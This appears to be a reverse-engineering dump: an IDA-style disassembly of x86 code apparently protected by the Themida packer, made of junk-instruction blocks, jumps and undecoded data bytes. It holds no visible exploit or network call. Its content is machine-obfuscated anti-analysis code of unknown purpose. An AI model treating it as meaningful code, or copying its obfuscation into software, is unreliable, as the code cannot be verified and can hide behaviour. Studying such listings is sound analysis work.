mov eax, 3BFC5AE6h
add eax, 6C770FCDh
add eax, 0E56F1A3Ch
add esi, eax
pop eax
and eax, esi
mov esi, [esp]
push ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
push ebp
mov ebp, 4
add ecx, ebp
mov ebp, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
or eax, eax
jz loc_4FA4B4
push ebx
push 1Ch
jmp loc_4F67D0
; ---------------------------------------------------------------------------
loc_500693: ; CODE XREF: Themida_:004F80D0j
push esp
mov eax, [esp]
jmp loc_4F710A
; ---------------------------------------------------------------------------
loc_50069C: ; CODE XREF: Themida_:004FF935j
push ebx
push edi
push 16986925h
pop edi
not edi
push edi
not dword ptr [esp]
pop edi
sub edi, 0F6411DE7h
mov ebx, edi
pop edi
xor [esp+4], ebx
mov ebx, [esp]
add esp, 4
mov eax, [esp]
push eax
jmp loc_4F6D1B
; ---------------------------------------------------------------------------
dw 0EF81h
dd 698F7AB7h, 243C875Bh, 5D48E95Ch, 0C481FFFFh, 4, 4EC8352h
dd 0E9240489h, 0FFFF5BD7h
; ---------------------------------------------------------------------------
loc_5006EC: ; CODE XREF: Themida_:00500B32j
xchg ebp, [esp]
pop esp
jmp loc_4F6C5D
; ---------------------------------------------------------------------------
db 52h, 0E9h, 20h
dd 0FFFFFF9Eh, 34FF2434h, 0C4835824h, 21E86804h, 14890000h
dd 4EC8124h, 89000000h, 4832424h, 565A0424h, 1A9CE9h, 89665C00h
dd 0A0B62414h, 0C043B353h, 2CE908EBh, 33FFFFE2h, 0E9E92404h
dd 2DFFFFBCh, 65984031h, 0FFDBC1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_500745: ; CODE XREF: Themida_:004FF89Fj
xor eax, [esp]
xor [esp], eax
jmp loc_501B5C
; ---------------------------------------------------------------------------
dd 4C481h, 0C3810000h, 2, 75E7E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500762: ; CODE XREF: Themida_:004FCAABj
mov ecx, [esp]
add esp, 4
jmp loc_500D3D
; ---------------------------------------------------------------------------
loc_50076D: ; CODE XREF: Themida_:00501463j
push ebp
push dword ptr [esp+4]
jmp loc_4FE013
; ---------------------------------------------------------------------------
db 81h
dd 6C0175CBh, 8EBC147h, 0FF71A1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_500785: ; CODE XREF: Themida_:004FD2C9j
sub ebp, eax
pop eax
pop edx
xchg ebp, [esp]
pop esp
jmp loc_4FDCD8
; ---------------------------------------------------------------------------
dw 0C329h
dd 0FFAACBE9h, 34C781FFh, 0E925490Eh, 0FFFF8206h, 39BDF781h
dd 0CF815B4Bh, 486B51B0h, 4147F781h, 0F78123D9h, 5B3236F7h
dd 335FFD01h, 0F3E9242Ch
db 57h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5007C7: ; CODE XREF: Themida_:004FB38Aj
push 4FD657D0h
jmp loc_4F99DB
; ---------------------------------------------------------------------------
db 53h, 56h, 0E9h
dd 0FFFFEA9Dh
; ---------------------------------------------------------------------------
loc_5007D8: ; CODE XREF: Themida_:004FFF8Aj
dec eax
push edi
mov edi, 0AC04817h
neg edi
and edi, 0A5F79BBh
jmp loc_4FE9A9
; ---------------------------------------------------------------------------
dd 0CA81D2F7h, 1FC8176Ch, 0E8EA814Ah, 1DFD8B7h, 0B8505AD3h
dd 4, 0FFA4BCE9h, 0CA815EFFh, 67CF3FF9h, 2922BB53h, 0DA29799Eh
dd 0E9D6315Bh, 0FFFFE807h, 68FCF580h, 0
dd 8A242C28h, 0C483242Ch, 8E5C004h, 0FF5E93E9h, 0D5F381FFh
dd 55781609h, 0DE9DD89h, 0ADFFFF6Ah, 0BF57D831h, 76DB5B3h
dd 762BCB05h, 2DF80156h, 56762BCBh, 0FFB2B9E9h, 68535EFFh
dd 234Dh, 0BD242C89h, 47AB2682h, 0FFF09FE9h, 405FFh, 0E8830000h
dd 24048704h, 2414895Ch, 27785BAh, 4EC832Ch, 0B8240489h
dd 0B3B1D46h, 635ABF57h, 0BD551DC4h, 31522B96h, 41E9EF01h
db 6Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5008A7: ; CODE XREF: Themida_:004FDCB8j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_500ACE
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 0FFFFC2CFh, 0BA241489h, 6B8E071Fh, 241568h, 0CA09E900h
dd 3C89FFFFh, 3C8B5424h, 4C48124h, 81000000h, 4C7h, 0A66EE900h
dd 0C33FFFFh, 240C3124h, 8B240C33h, 4012424h, 1BE99C24h
dd 89FFFF54h, 6C95E9E1h, 0D0B1FFFFh, 1C43E9h, 75E95300h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50090B: ; CODE XREF: Themida_:004FEBCBj
sub esi, 1
shr esi, 5
dec esi
jmp loc_4FA056
; ---------------------------------------------------------------------------
dw 5E54h
dd 0FF5848E9h, 0C4835BFFh, 4C38104h, 68000000h, 5D26h
dd 0FF7F3DE9h, 3E7C1FFh, 599FE781h, 0F78121D1h, 6F896213h
dd 2FFBEE81h, 0C68109F2h, 2D0879FFh, 0EE81FE29h, 2D0879FFh
dd 2FFBC681h, 3C8B09F2h, 4C48324h, 1CD6E957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50096A: ; CODE XREF: Themida_:004FA4EBj
pop eax
push ecx
jmp loc_4F97E6
; ---------------------------------------------------------------------------
db 0BEh, 40h, 20h
dd 684E330Fh, 3C7h, 0B8240489h, 10A81A68h, 0FF6A37E9h
dd 5CC781FFh, 29779927h, 5CEF81C7h, 58779927h, 0FFD0A4E9h
dd 0C38143FFh, 0A258A04Fh, 575BDA01h, 0DA15F0BFh, 5FFA0902h
dd 8904EC83h, 34E9243Ch, 55FFFF76h, 0FF5E97E9h, 0D3C580FFh
dd 0E9E3B652h, 0FFFF7D16h, 2404085Ch, 533CE99Ch, 8B66FFFFh
dd 25E92404h, 66FFFF68h, 8324048Bh, 148904ECh, 68E28924h
dd 754Dh, 0FF5882E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5009F5: ; CODE XREF: Themida_:004FCAB1j
mov ebp, [esp]
add esp, 4
jmp loc_500B92
; ---------------------------------------------------------------------------
db 5Ah
dd 0FEAFF180h, 0B65266C1h, 66F1207Eh, 8124148Bh, 2C4h
dd 0B8C18000h, 51C88850h, 0CE88C188h, 0B28DE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500A2A: ; CODE XREF: Themida_:004FCFA5j
push 361Ah
mov [esp], edx
push esp
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_4FBD1B
; ---------------------------------------------------------------------------
loc_500A3E: ; CODE XREF: Themida_:0050051Ej
add edx, edi
pop edi
mov edi, edx
pop edx
shl edi, 4
and edi, 55326339h
jmp loc_4FE408
; ---------------------------------------------------------------------------
dw 433h
dd 24043124h, 5C240433h, 0E95F5657h, 17BFh, 0E9028F66h
dd 0FFFF52A6h
; ---------------------------------------------------------------------------
loc_500A6C: ; CODE XREF: Themida_:004FEE79j
mov esp, [esp]
mov [esp], eax
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, 4B6824B4h
xor ebp, 4B6824F4h
and ecx, ebp
jmp loc_4F9950
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF5276h, 952B6CBAh, 0C2814A63h, 31781Eh, 0A385EA81h
dd 0BAE963C6h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500AB3: ; CODE XREF: Themida_:004FD132j
mov [esp], ebx
jmp loc_4F72DD
; ---------------------------------------------------------------------------
db 5Eh
dd 0FFAA6AE9h, 81C129FFh, 5A3FD7C1h, 0A85DE913h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500ACE: ; CODE XREF: Themida_:005008ADj
pop ebx
add esp, 4
push 3E69h
mov [esp], eax
jmp loc_500118
; ---------------------------------------------------------------------------
db 4Dh
dd 0FF2DED81h, 0EE010007h, 2434875Dh, 0E924248Bh, 0FFFFEEF3h
dd 5804C483h, 8904EC83h, 0E950240Ch, 0FFFFC831h, 0E955E189h
dd 0FFFF979Fh, 0E924048Fh, 0FFFFE3ACh, 0EE6BE56h, 3BE95406h
dd 55FFFF73h, 0CCE95D54h
db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500B27: ; CODE XREF: Themida_:00501993j
shr ebx, 6
jmp loc_4FADCD
; ---------------------------------------------------------------------------
loc_500B2F: ; CODE XREF: Themida_:004F62BEj
sub ebp, 4
jmp loc_5006EC
; ---------------------------------------------------------------------------
db 0C0h
dd 0CAFE08EAh, 0E98EEA80h, 0FFFFB608h, 148BD301h, 4C48124h
dd 81000000h, 0FC3C92EBh, 9DC38121h, 157CF40h, 8378E9C3h
dd 0E800FFFFh, 59663904h, 4EC8151h, 89000000h, 0B1512404h
dd 28BFB4FDh, 240C8BCCh, 8804C483h, 24048BE5h, 51E38953h
dd 4B9h, 0B25CE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500B92: ; CODE XREF: Themida_:005009FEj
push edi
mov edi, 4
add ebp, edi
pop edi
push esi
push ecx
mov ecx, 3D2E4784h
not ecx
and ecx, 29464E44h
xor ecx, 400844h
mov esi, ecx
pop ecx
add ebp, esi
pop esi
jmp loc_4F9579
; ---------------------------------------------------------------------------
db 80h
dd 0EC8196EBh, 4, 0FFB1D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_500BC9: ; CODE XREF: Themida_:004F910Dj
add esp, 4
add ecx, 4
push edx
mov edx, 4
add ecx, edx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_4F7B10
; ---------------------------------------------------------------------------
loc_500BE8: ; CODE XREF: Themida_:004F9053j
pop ecx
add ebp, 4D4FC409h
jmp loc_4FCA6A
; ---------------------------------------------------------------------------
dd 31241433h, 0ABE92414h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500BFF: ; CODE XREF: Themida_:004F67DCj
mov ecx, esp
add ecx, 4
jmp loc_4F9085
; ---------------------------------------------------------------------------
dd 66F30166h, 0C381665Eh, 2DE95FDCh
db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500C1B: ; CODE XREF: Themida_:004F60E3j
mov [esp], ebx
jmp loc_50222B
; ---------------------------------------------------------------------------
db 87h
dd 0D25C242Ch, 0E99C243Ch, 0FFFF50E2h, 0FF50DDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_500C35: ; CODE XREF: Themida_:004F8426j
mov [esp], ebp
push 78071BEFh
pop ebp
push ebx
mov ebx, 0
add ebx, 14BC0406h
sub ebx, ebp
jmp loc_4F8974
; ---------------------------------------------------------------------------
db 5Bh, 53h, 0BBh
dd 0FAA6D7DDh, 53E9D829h, 0B2FFFFFCh, 0B0FDE989h, 6850FFFFh
dd 7DE12D73h, 8124048Bh, 4C4h, 0EB2500h, 0E95264CDh, 0FFFFCA8Fh
dd 43D3F759h, 83CEF381h, 0DF0102E8h, 83241C8Bh, 0C18104C4h
dd 792E5F25h, 215E9h
db 0
; ---------------------------------------------------------------------------
loc_500C9D: ; CODE XREF: Themida_:004FF90Fj
push dword ptr [esp]
jmp loc_4FA90E
; ---------------------------------------------------------------------------
db 56h, 0BEh, 75h
dd 811AA308h, 0FB49D4EEh, 2DC6814Fh, 81465C2Eh, 1331A3C6h
dd 9B8500Bh, 4839AF3Bh, 0FF9397E9h, 0C4815AFFh, 4, 0FF9161E9h
dd 7A2568FFh, 1C890000h, 71ADBB24h, 9FE956EBh
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500CE7: ; CODE XREF: Themida_:004F918Fj
and ebx, ebp
mov ebp, [esp]
push esi
jmp loc_4FC299
; ---------------------------------------------------------------------------
aQishra db 'Q‰áhrA',0
align 2
dw 1C89h
dd 31766824h, 435B1102h, 994E9h, 4C58100h, 83000000h, 0BE902C5h
db 75h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500D17: ; CODE XREF: Themida_:0050149Dj
mov eax, 30B09D2h
and edx, eax
pop eax
or edx, 392F24F2h
push eax
mov eax, 36AC5E28h
sub eax, 7DB22A01h
push esi
push ebp
push esi
mov esi, 4ECC75AEh
jmp loc_4F6A68
; ---------------------------------------------------------------------------
loc_500D3D: ; CODE XREF: Themida_:00500768j
xchg ebx, [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_4F6041
; ---------------------------------------------------------------------------
db 0B0h
dd 0C588517Ah, 0FFC9C0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_500D59: ; CODE XREF: Themida_:004F62E5j
and ebx, 10FD7F43h
neg ebx
jmp loc_4FEECF
; ---------------------------------------------------------------------------
dw 248Bh
dd 0BB0F6624h, 0E99C2404h, 0FFFF4F9Eh, 3B9BF681h, 0EFE95BE6h
dd 8BFFFF6Ah, 0BE92424h
db 6Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500D87: ; CODE XREF: Themida_:004FCA3Bj
push 2D72ED8h
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_4FF548
; ---------------------------------------------------------------------------
db 80h, 0C5h, 82h
dd 807FEB80h, 0EB0039C3h, 8039EB80h, 0DFE97FC3h, 66FFFFBBh
dd 0E9240C8Bh, 8CCh, 0D77F432Dh, 0E4C8E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500DC6: ; CODE XREF: Themida_:004F72F9j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop ecx
xchg eax, ecx
push ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
sub ebx, 4
jmp loc_4FD752
; ---------------------------------------------------------------------------
loc_500DE4: ; CODE XREF: Themida_:004FF41Aj
sub esi, 0C67EFABDh
mov ebx, esi
pop esi
neg ebx
push esi
mov esi, 4F1F6419h
jmp loc_4FF836
; ---------------------------------------------------------------------------
dw 0C629h
dd 9CF68158h, 0E9D27B2Bh, 0FFFF8DE8h, 0E92434FFh, 0FFFF54DAh
; ---------------------------------------------------------------------------
loc_500E10: ; CODE XREF: Themida_:004FC32Cj
mov edx, esp
jmp loc_4FB811
; ---------------------------------------------------------------------------
db 83h
dd 0FF5304C4h, 5B042474h, 8B24048Fh, 29662424h, 0E99C2404h
dd 0FFFF4EE2h, 1DE9815Eh, 294459D9h, 240C8BC8h, 55C5E957h
dd 0D7F7FFFFh, 0C196FE87h, 0F02506E8h, 2D426A16h, 0DCE9A136h
dd 0E958C521h, 0EE3h, 24048F5Ch, 0FF24248Bh, 48B2434h
dd 0E1895124h, 4C181h, 0BF570000h, 4, 0E95FF901h, 0FFFFC771h
; ---------------------------------------------------------------------------
loc_500E80: ; CODE XREF: Themida_:005015E8j
sub ebp, esi
pop esi
push eax
mov eax, 0F78521Ch
jmp loc_4FAB4E
; ---------------------------------------------------------------------------
dw 8957h
dd 0B847E9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500E96: ; CODE XREF: Themida_:004F7921j
push 1CCh
mov [esp], ebx
mov ebx, 77D51D6Eh
shl ebx, 5
push eax
push esi
push 40A325CBh
jmp loc_4FCACD
; ---------------------------------------------------------------------------
dw 0F901h
dd 5F25E981h, 1DE9792Eh
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_500EBF: ; CODE XREF: Themida_:004F6DE6j
xor ebp, 3D9F7B56h
jmp loc_4FE786
; ---------------------------------------------------------------------------
dw 8151h
dd 4ECh, 0FC6E900h, 0D590000h, 49A076E8h, 0BF0DD8F7h, 556BC533h
dd 0FF7E3BE9h
db 0FFh
byte_500EE9 db 56h, 0E9h, 49h ; DATA XREF: Themida_:004F85ACo
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500EEF: ; CODE XREF: Themida_:004F6838j
push edx
push esi
push ebp
jmp loc_4FD9C0
; ---------------------------------------------------------------------------
db 80h
dd 0F73056EEh, 5066515Ah, 7AE980B4h, 87FFFFB0h, 0A5682404h
dd 89000073h, 1C312404h, 241C3324h, 0FF5B04E9h, 59F681FFh
dd 0E941FB25h, 0FFFF6BA7h, 6824048Bh, 5036h, 54242C89h
dd 4C5815Dh, 68000000h, 1142h, 0BA241489h, 4, 0CB0ED81h
dd 0D5017FF5h, 0FFDA49E9h, 243489FFh, 0FFCF57E9h, 74FF50FFh
dd 8F580424h, 0FBE92404h, 0B4FFFFFDh, 0ADE95146h
db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500F73: ; CODE XREF: Themida_:004F8E07j
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_4FF6A8
; ---------------------------------------------------------------------------
db 1
dd 0EC8158C1h, 4, 0B8240489h, 99F71F9h, 504E0C1h, 0CDDDE3BBh
dd 4701FE0Dh, 0E9E0D12Ah, 0FFFFED92h, 0FF2434FFh, 48B2434h
dd 4C48324h, 0E9E78957h, 0FFFF93D4h, 0E906EBC1h, 0FFFF8B18h
dd 348BF201h, 4C48124h, 0E9000000h, 109h, 152137BFh, 52E9475Dh
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_500FE3: ; CODE XREF: Themida_:00501A36j
pop edx
push esi
jmp loc_50061E
; ---------------------------------------------------------------------------
dw 0C89h
dd 0F90CE924h, 515FFFFFh, 42474FFh, 24048F59h, 6624248Bh
dd 0E9240C8Bh, 0FFFFA7E9h
; ---------------------------------------------------------------------------
loc_501008: ; CODE XREF: Themida_:0050164Fj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_4F6DEB
; ---------------------------------------------------------------------------
dw 1C2Dh
dd 29396C0Fh, 1CBD55D0h, 1396C0Fh, 0F4055DE8h, 8B084A35h
dd 0F8682414h, 8900006Ch, 0E589242Ch, 4C581h, 0E9530000h
dd 0FFFFD76Eh, 8FC0B60Fh, 0C3E98704h
db 4Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50104F: ; CODE XREF: Themida_:004F7FCBj
add esp, 4
add esp, 4
pop eax
xor eax, 7A142AB1h
mov esi, [esp]
add esp, 4
push ebp
jmp loc_5018CD
; ---------------------------------------------------------------------------
dw 68ADh
dd 50FAh, 0E9241C89h, 0FFFF4D36h, 644E51BFh, 5FF82964h
dd 0D3676F2Dh, 1C2F056Fh, 12E94F5Bh, 1FFFF75h, 0F2895BDEh
dd 0F281425Eh, 3494053Eh, 0FFB4F5E9h, 81C301FFh, 0AC396FC3h
dd 8EE95842h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5010AF: ; CODE XREF: Themida_:004F719Dj
pop ebx
shl ebp, 6
jmp loc_501753
; ---------------------------------------------------------------------------
dd 0B252D028h, 4EAC038h, 0C280E2D0h, 0E9DAF6EFh, 0FFFFCAE9h
dd 475DEF09h, 6351E781h, 0EF814925h, 82904Fh, 0FF9313E9h
dd 5AD029FFh, 4EC81h
db 0
byte_5010E9 db 0, 89h, 0Ch ; DATA XREF: Themida_:004FB164o
dd 91C3E924h, 5F54FFFFh, 0FFC28DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5010F9: ; CODE XREF: Themida_:005025ADj
pop ecx
dec ebp
add ebp, 5FE22A98h
shr ebp, 2
dec ebp
xchg ecx, ebp
not ecx
xchg ecx, ebp
push ecx
mov ecx, 5FFE7847h
jmp loc_4F6F5B
; ---------------------------------------------------------------------------
dw 4A4Ah
dd 3067F281h, 0F2813430h, 14A81322h, 0FFDB50E9h, 240431FFh
dd 4BE0E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_501132: ; CODE XREF: Themida_:004F6E87j
pop ecx
sub bl, 0DDh
add bl, 64h
movzx eax, al
jmp loc_50238B
; ---------------------------------------------------------------------------
db 51h, 9Ch, 0E9h
dd 0FFFF9F21h, 4C481h, 0EB290000h, 5BD9015Dh, 0EABFE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50115A: ; CODE XREF: Themida_:004F9A62j
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_4FEDC8
; ---------------------------------------------------------------------------
dd 36B668h, 0FDE3E900h, 5D05FFFFh, 5145502h, 22AB417Fh
dd 83241C8Bh, 0C38104C4h, 5B897DE7h, 60F9C381h, 0C3011879h
dd 0E9E08950h, 0FFFFF6DDh, 83241C8Bh, 0C38104C4h, 4, 0CEEBE955h
dd 5255FFFFh, 81242C8Bh, 4C4h, 5DEB8900h, 0E924148Bh, 0FFFF634Ah
dd 0DA2DDD05h, 2DD8013Eh, 3EDA2DDDh, 30A768h, 242C8900h
dd 36576857h, 6FE95D9Ah, 81FFFF94h, 2C4h, 0E9516600h, 0FFFF68AFh
dd 0C058C588h, 0C58002EDh, 5142E9D1h, 0C481FFFFh, 4, 0C680CDB6h
dd 6FC6807Fh, 2865C680h, 65EE80EEh, 806FEE80h, 4FE97FEEh
dd 57FFFF55h, 0DC3364BFh, 0E9FE3118h, 0FFFF8D21h
; ---------------------------------------------------------------------------
loc_501228: ; CODE XREF: Themida_:004F72AEj
sub eax, 733F0A59h
jmp loc_4FBE2B
; ---------------------------------------------------------------------------
dw 0F681h
dd 9E3ED2Bh, 7C71EF81h, 0F7294B49h, 7C71C781h, 348B4B49h
dd 9742E924h, 0BF57FFFFh, 4, 835FF901h, 0C8704C1h, 0AC685C24h
dd 8900001Ah, 0E2892414h, 4EC81h, 2C890000h, 159DBD24h
dd 0ED815DA3h, 5DA31599h, 7435C281h, 0EA017471h, 0FF5075E9h
dd 4C781FFh, 87000000h, 505C243Ch, 42474FFh, 0FFD604E9h
dd 0E18951FFh, 4EC81h, 14890000h, 2D38BA24h, 0D2F7451Bh
dd 0DAF7D2F7h, 2C4CF281h, 0E2812E6Bh, 37BC2CD5h, 0FFD60EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5012C5: ; CODE XREF: Themida_:004FBA34j
xor ecx, edi
jmp loc_4FE615
; ---------------------------------------------------------------------------
dd 582434FFh, 4C481h, 48E90000h, 0E900000Dh, 0FFFF4A32h
dd 240C8B66h, 8904EC83h, 53682404h, 89000060h, 0BD552424h
dd 4, 4246C01h, 5D2434FFh, 0FFF7EFE9h, 0E18951FFh, 4C181h
dd 0C1830000h, 240C8704h, 0E23E95Ch, 0B2BE0000h, 0E93EBC7Fh
dd 92Eh
; ---------------------------------------------------------------------------
loc_501324: ; CODE XREF: Themida_:00502691j
add edx, 4
jmp loc_4FDCA5
; ---------------------------------------------------------------------------
db 5Ch
dd 83242489h, 58042404h, 405h, 40500h, 69680000h, 89000076h
dd 74FF2404h, 34FF0424h, 5091E924h, 0E95CFFFFh, 0FFFF92AFh
dd 0FF49B1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_501361: ; CODE XREF: Themida_:004F72BDj
add dword ptr [esp], 2D694447h
pop ecx
push esi
mov esi, 2D694447h
jmp loc_4FA588
; ---------------------------------------------------------------------------
dd 515BD830h, 0FF5485E9h, 5FF929FFh, 34FFCB21h, 0E9555924h
dd 0FFFFEFBEh, 148BF000h, 6F72E924h, 0E189FFFFh, 4C181h
dd 0C1810000h, 4, 0E9240C87h, 0FFFFAFAAh, 2E86C381h, 0D32947CBh
dd 2E86EB81h, 815A47CBh, 897DE7EBh, 8F665Bh, 0FFCE70E9h
dd 243C8BFFh, 104C483h, 0E3C381C3h, 0E91F700Ch, 0FFFFC6CAh
dd 0FFED815Eh, 81FFFFFFh, 497624E5h, 9ED814Fh, 3172025Ch
dd 0F6E95DEAh, 8FFFFD5h, 45A66D0h, 61C180B6h, 0E980C128h
dd 0C8205861h, 65CF6859h, 1C890000h, 4CFF6824h, 0C890000h
dd 0A90EE924h, 0EC81FFFFh, 4, 0B2241489h, 5AD52058h, 0D5F6C5FEh
dd 0FFC6B2E9h, 0E9FA87FFh, 0FFFF4B9Bh, 8124048Bh, 4C4h
dd 0B8505100h, 3E6C1EB9h, 93E14BB9h, 58C101C1h, 5359C801h
dd 0FF8126E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50145D: ; CODE XREF: Themida_:004FFCC3j
add ebp, 4
jmp loc_50076D
; ---------------------------------------------------------------------------
dd 94BB53ADh, 130D04Ah, 0D8015BD8h, 8904EC83h, 0EDBD242Ch
dd 45035C63h, 7E5C145h, 0F581D5F7h, 69603697h, 0FF6B04E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_501491: ; CODE XREF: Themida_:004FCC98j
add al, 0A2h
mov edx, [esp]
push ebp
jmp loc_4FB2BE
; ---------------------------------------------------------------------------
loc_50149C: ; CODE XREF: Themida_:004F8E24j
push eax
jmp loc_500D17
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4835E24h, 0BDBE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5014AE: ; CODE XREF: Themida_:004FF83Cj
shr ecx, 6
jmp loc_4F9325
; ---------------------------------------------------------------------------
dw 0BD55h
dd 192D0415h, 5AD7CD81h, 45457CB6h, 5EC4F581h, 0DDF77C0Dh
dd 0FFA013E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5014D1: ; CODE XREF: Themida_:004F8718j
add esi, edx
pop edx
add esi, 23D47837h
mov edx, [esp]
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 1
and eax, ebp
pop ebp
or edx, eax
shl edx, 1
push 3FF5h
mov [esp], ecx
push edi
push 64684069h
mov edi, [esp]
add esp, 4
xor edi, 70812B72h
push ecx
mov ecx, 3ABD6569h
xor ecx, 2E540E73h
sub edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_4FACE0
; ---------------------------------------------------------------------------
dw 0D829h
dd 68241C8Bh, 5591h, 42EE9h, 8BFB0100h, 33E9243Ch, 8B000003h
dd 0C481240Ch, 4, 10BAE9h, 4EE8100h, 87000000h, 6FE92434h
dd 89FFFF6Fh, 4C681E6h, 81000000h, 4C6h, 24348700h, 7C3685Ch
dd 0C890000h, 4EC8124h, 89000000h, 4812424h, 424h, 240C8B00h
dd 0E9E38953h, 0FFFFAD16h, 54242C89h, 83242C8Bh, 685204C4h
dd 2F893306h, 0B9F2815Ah, 8107E611h, 8E32F7E2h, 5EF2813Fh
dd 0F74C5005h, 6CDEE9D2h, 34FFFFFFh, 0C4835B24h, 0FC33004h
dd 34FFC0B6h, 9B3CE987h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5015D6: ; CODE XREF: Themida_:004FADDFj
pop ebx
jmp loc_4FE978
; ---------------------------------------------------------------------------
dd 0CAE9C221h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5015E3: ; CODE XREF: Themida_:004F862Dj
mov esi, 0A103A8Eh
jmp loc_500E80
; ---------------------------------------------------------------------------
db 0BDh, 2 dup(0FFh)
dd 0EB01FFFFh, 70C3815Dh, 8107CA7Ch, 92AE4DF3h, 0BF575638h
dd 0C0916F4h, 295FFE89h, 0EA815EF2h, 367B14F4h, 0C281DA01h
dd 367B14F4h, 16F4C281h, 1C8B0C09h, 0C0FDE924h, 0E5C1FFFFh
dd 0A6C58104h, 8121BB20h, 0B0FE94F5h, 5DE901D1h, 8B240C87h
dd 24D22424h, 0C7E99C24h
db 46h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50164B: ; CODE XREF: Themida_:004F7B19j
xchg edi, [esp]
pop esp
jmp loc_501008
; ---------------------------------------------------------------------------
dd 57242489h, 1A1E9h
db 0
; ---------------------------------------------------------------------------
loc_50165D: ; CODE XREF: Themida_:004FB9F3j
add ebp, 4717685Eh
add ebp, ecx
sub ebp, 4717685Eh
add ebp, 7F480E42h
mov ecx, [esp]
jmp loc_4F5FFC
; ---------------------------------------------------------------------------
db 49h, 0C1h, 0E9h
dd 0C8E98102h, 0E9C45D16h, 0FFFFD7CCh, 4EC81h, 34890000h
dd 0EC79E924h, 0C889FFFFh, 0FFA874E9h, 9EC381FFh, 0E96C260Eh
dd 0FFFFC74Ch, 42474FFh, 81242C8Bh, 4C4h, 24048F00h, 8924248Bh
dd 8956242Ch, 0E9F589FEh, 0FFFFB5AAh, 0BA241489h, 54964FACh
dd 0D606BE56h, 0EDE90F23h, 5CFFFFF8h, 7E6568h, 24148900h
dd 0BB519CBAh, 0D2F74A77h, 1241E281h, 0E2C13A54h, 2C28105h
dd 1F77FB8h, 7AC6E9D1h, 429FFFFh, 0E0C15824h, 0B4282D08h
dd 0C731FACDh, 6858h, 10E90000h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50171B: ; CODE XREF: Themida_:004FA269j
sub ebx, 392850C9h
pop eax
add ebx, 4
xchg ebx, [esp]
pop esp
push ecx
push esp
pop ecx
jmp loc_4F6D56
; ---------------------------------------------------------------------------
dd 5024148Bh, 0E904EC83h, 0FFFF6BC0h
; ---------------------------------------------------------------------------
loc_501740: ; CODE XREF: Themida_:004FC405j
push ecx
pop edi
pop ecx
jmp loc_4F973B
; ---------------------------------------------------------------------------
dd 8B2434FFh, 73E92404h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_501753: ; CODE XREF: Themida_:005010B3j
add ebp, 32435FA7h
sub ebp, 3CD2BD6Dh
jmp loc_4FC78B
; ---------------------------------------------------------------------------
dd 76B6BA52h, 0E2C1699Ch, 2EEA8106h, 815B3051h, 0B6991C3h
dd 68D2E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50177E: ; CODE XREF: Themida_:004FD851j
push 7F23h
mov [esp], ebp
push dword ptr [esp+4]
